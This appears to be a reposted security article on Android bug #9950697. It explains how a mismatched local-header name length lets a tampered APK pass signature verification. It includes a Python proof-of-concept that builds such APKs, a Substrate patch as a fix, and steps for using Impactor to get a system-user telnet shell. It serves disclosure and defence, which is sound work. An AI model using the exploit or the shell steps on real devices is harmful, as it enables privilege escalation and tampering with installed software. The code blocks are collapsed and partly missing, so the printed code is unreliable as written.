MasterKey ZipBug9950697

转载 2015年11月20日 16:50:20

Yet Another Android Master Key Bug

Earlier this year, Bluebox Security announced they had found a bug in the way Android verifies that application packages have not been tampered with by third-parties. While details were to be disclosed by Jeff Forristal (CTO of Bluebox)at Black Hat 2013, due to the attention they caused, the bug was quickly found.

This bug was disclosed to Google in February, where it became bug #8219321. Bluebox felt thatresponsible disclosure was critical for a bug this serious, so they gave Google many months to allow their hardware partners to be able to get everything fixed. After many months, however, only a few devices were fixed.

At a moment when the most attention was being given to this bug, a patch for a different issue hit the Android Open Source Project, a fix for bug #9695860. This bug had very similar ramifications, and a group called Android Security Squaddocumented an exploit technique (albeit one weaker than the previous bug).

In previous articles, I first documented how bug #8219321 works, as well as how to exploit it on any device to run code as the system user (previous techniques relied on finding existing valid packages with specific properties). In asecond article, I showed how bug #9695860 was actually more powerful than the first.

Now, last night, the source code for Android 4.4 was released to AOSP, which includeda patch for yet another bug, #9950697, in the signature verification of Android application packages. This bug is somewhat weaker than the previous ones, but is still sufficient to support the general exploit techniques I have described.

In this article, I describe this third bug and show how it can be used, providing both a proof-of-concept implementation in Python and a new version ofImpactor that adds support for this signature bug. Finally, I show how Substrate can be used to patch this bug, and I release a new version of Backport with the fix.

(I was able to get this article out so quickly as I had actually found this bug back in June; I sadly did not think to post a hash to Twitter until July, however, a week after this patch was committed internally at Google. Regardless, if you run the hash command from this post from today you get this hash I posted in July.)

Incorrect Assumptions

The bug that underlies this exploit is very similar to the one I analyzed inmy previous article, bug #9695860. Specifically, this will look very similar to the original technique for that bug by Android Security Squad, with a few aspects of the first improvement I descibed in the section "Extreme Offset".

As I have already described how the zip file format fits together in previous articles, as well as how the Android signature verification code generally works (and the high-level problems it is subject to), I will refrain from repeating myself here. Please read my article on bug #8219321 and my article on bug #9695860 for these details.

So, looking back at the calculation performed by the C++ code to find the data block after a local header, we see that that it is based on four things: the offset of the start of the header, the length of the header (a fixed size), the length of the extra data field (which bug #9695860 exploited), and the length of the name of the file.

off64_t dataOffset = localHdrOffset + kLFHLen + get2LE(lfhBuf + kLFHNameLen) + get2LE(lfhBuf + kLFHExtraLen);

By process of elimination, this article will focus on the name length. The local header name is interesting as it is not used by any of the key implementations of unzip on Android: the central directory is instead read fully and indexed (into some form of hashtable), storing only pointers to the local file headers.

If we look at the implementation of this code in Java, we see something interesting: while it reads the length of the extra data from the local header, it somehow already has the length of the name stored in a nameLength field of the ZipEntry object. This field is a cache stored while reading the central directory headers.

// We don't know the entry data's start position.// All we have is the position of the entry's local// header. At position 28 we find the length of the// extra data. In some cases this length differs// from the one coming in the central header.RAFStream rafstrm = new RAFStream(raf, entry.mLocalHeaderRelOffset + 28);DataInputStream is = new DataInputStream(rafstrm);int localExtraLenOrWhatever = Short.reverseBytes(is.readShort());is.close();// Skip the name and this "extra" data or whatever it is:rafstrm.skip(entry.nameLength + localExtraLenOrWhatever);

What makes this bug exceptionally hilarious is the large comment sitting above it carefully pointing out that the length of the extra data might differ from the value stored in the central directory. Sadly, this failed to make an impression while writing the code below that skips the name field (and "whatever it is" ;P).

The way we can exploit this is to set the length of the name in the local file header to a size large enough to skip the length of the real name (as defined in the central directory) and the data that will be used by Java. We then put the modified data we want used by C++ after the data that will be verified by Java.

C++ Header 64k Name Data +--------> +----------------------> +----------> length=64k classes.dex dex\035\A... dex\035\B... +--------> +---------> +----------> Java Header 11 Name Data

Proof of Concept

As some people have been describing these local file header exploits as complex to pull off (Android Police hadsaid in an article that bug #9695860 "is more precise and relies on a fairly complete knowledge about the structure of the files"), I am going to provide a proof of concept for this exploit in Python.

The key to pulling off these exploits is that the flexibility of the zip file format is often tolerated even by simpler libraries. With the Python zipfile library (and zlib's minizip), each time you add a file the local header and data block are written immediately, and the central directory is written when you are done.

When writing these files to the stream, the position of the stream is not moved; further, the position is read from the stream, for later use in the central directory. This means that if you write extra data to the file or move the file pointer around, the zip library will just work around the changes without complaint.

In the case of Python, you can get access to the underlying file stream using the "fp" member of the ZipFile object. Writing multiple copies of the data or adding padding to the file is thereby quite simple. Finally, we can seek backwards in the file to make changes to the headers that have been written.

#!/usr/bin/pythonimport zipfileimport structimport sys# usage: ./ new.apk old.apk file datazout = zipfile.ZipFile(sys.argv[1], "w")zin = zipfile.ZipFile(sys.argv[2], "r")replace = sys.argv[3]new = open(sys.argv[4], 'r').read()fp = zout.fpfor name in zin.namelist(): old = if name != replace: zout.writestr(name, old, zipfile.ZIP_DEFLATED) else: assert len(new) <= len(old) # write header, old data, and record offset zout.writestr(name, old, zipfile.ZIP_STORED) offset = fp.tell() # return to name length, set to skip old data -len(name) -4, 1) fp.write(struct.pack('<H', len(name) + len(old))) # after old data, write new data \0 padded fp.write(new) fp.write('\0' * (len(old) - len(new)))zout.close()zin.close()

Fixing the Bug

As in my previous articles, I will now point out that I feel like it is my responsibility to provide people the ability to protect themselves from the issues that I describe and implement. I will once again do so usingSubstrate. At this time, there are no alternatives I can point to or comment on.

Clearly, it would be ideal to also disclose bugs earlier, but frankly: Google has known about this bug since July... this is simply not a priority to them, and earlier "responsible disclosure" thereby does not benefit the public. (As many Android devices are also locked down from their owners, I thereby feel morally obligated on the other side to hold bugs until they are needed--or, of course, burned.)

final Field raf = ZipFile.class. getDeclaredField("mRaf");raf.setAccessible(true);final Field local = ZipEntry.class. getDeclaredField("mLocalHeaderRelOffset");local.setAccessible(true);final Field length = ZipEntry.class. getDeclaredField("nameLen");length.setAccessible(true);Method getInputStream = ZipFile.class. getDeclaredMethod("getInputStream", ZipEntry.class);MS.hookMethod(ZipFile.class, getInputStream, new MS.MethodAlteration<ZipFile, InputStream>() { public InputStream invoked( ZipFile thiz, Object... args ) throws Throwable { ZipEntry entry = (ZipEntry) args[0]; RandomAccessFile raf = (RandomAccessFile) raf.get(thiz); synchronized (raf) {;; int length = Short.reverseBytes( raf.readShort()) & 0xffff; if (length != length.getInt(entry)) throw new ZipException(); } return invoke(thiz, args); } });

The fix for this issue is very similar to the fix I published for bug #9695860, so the code for this extension will look very similar; the only new code is a few lines that check that the name length from the local header matches the one from the central directory. You can see the patch to Backport for reference. (Note: there was a mistake in that patch that I foundand fixed before publishing this article.)

int length = Short.reverseBytes(raf.readShort()) & 0xffff;if (length != length.getInt(entry)) throw new ZipException();

For the complete source code to this extension, you can clone its git repository from git:// orview its repository online using the Gitweb instance I use. (Here is a direct link to Users who just want to install an APK can get it from the Cydia Gallery (inside of Substrate).

Updated Impactor

For users hoping for an end-to-end implementation to this bug, I have released an updated build ofCydia Impactor that will autodetect its usability and use it as a system exploit when available (it actually checks this bug first, as it is more likely to be present than either of the other two bugs).

To use Impactor to get access to the system user of your device, run Impactor, select "start telnetd as system on port 2222", and click Start. Then, if you telnet to port 2222 on your device and run "id" you will find that you are running as the system user. At this point you might be able to find ways to upgrade to full root access.

What will be interesting, of course, is to see the adoption curve of fixes for these three bugs. I mainly do work on iOS, where bugs are fixed centrally and quickly. In comparison, even though Google had the first of these bugs carefully disclosed to them by Bluebox in February, their Nexus device line did not see a fix until July (as part of 4.3), and many devices even today have yet to be patched. The story for the second bug is even worse: here's hoping the third bug causes more updates.


目前Android MasterKey漏洞被人们熟知的有以下两种: 1、BlueBox Security 在BlackHat 2013大会上提报的Android MasterKey漏洞。...
  • jiazhijun
  • jiazhijun
  • 2013年10月28日 23:33
  • 8852

Android master key漏洞

我也来说说android master key 漏洞,官方称为ANDROID-8219321。 先是在看雪上看到android master key的漏洞,这个号称可以控制95%以上的 android...
  • baolong47
  • baolong47
  • 2013年12月15日 16:25
  • 6909

Android第二个签名漏洞#9695860(The Second Master Key)的手动构造利用

参考: 《Android第二个签名漏洞#9695860揭秘》:
  • asmcvc
  • asmcvc
  • 2013年10月28日 16:06
  • 2864

金融报文传输过程 MAC_PIN密钥体系 pinkey mackey masterkey

  • qq_16937307
  • qq_16937307
  • 2014年06月26日 18:02
  • 1211


  • didaliping
  • didaliping
  • 2014年07月26日 00:10
  • 320

Parse server 部署

准备工作: 安装git和nodejs。 部署MongoDB 去官网下载一个社区版的就行。 安装后,打开cmd,cd到目录C:\Program Files\Mongo...
  • ChibiMarukoChan
  • ChibiMarukoChan
  • 2017年10月31日 13:08
  • 292


  • zxp2624161989
  • zxp2624161989
  • 2015年11月17日 15:20
  • 1871

金融加密相关 金融行业因为对数据比较敏感,所以对数据的加密也相应的比较重视。在其中有关...
  • xiaohuangcat
  • xiaohuangcat
  • 2014年01月25日 12:49
  • 3839

Mimikatz 非官方指南和命令参考_Part2

原文地址: 原文作者:Sean Metcalf 译者注: 由于原文中,作者(Sean Metcalf)已经明确的指出 “...
  • qq_27446553
  • qq_27446553
  • 2016年02月16日 11:06
  • 1619

手动打造apk利用ANDROID-8219321漏洞(Master Key)绕过android签名校验

测试apk: 安卓读书 Ver:3.8.28(1236) Package:com.jiasoft.swreader 下载地址:
  • asmcvc
  • asmcvc
  • 2013年08月30日 10:59
  • 5729
您举报文章:MasterKey ZipBug9950697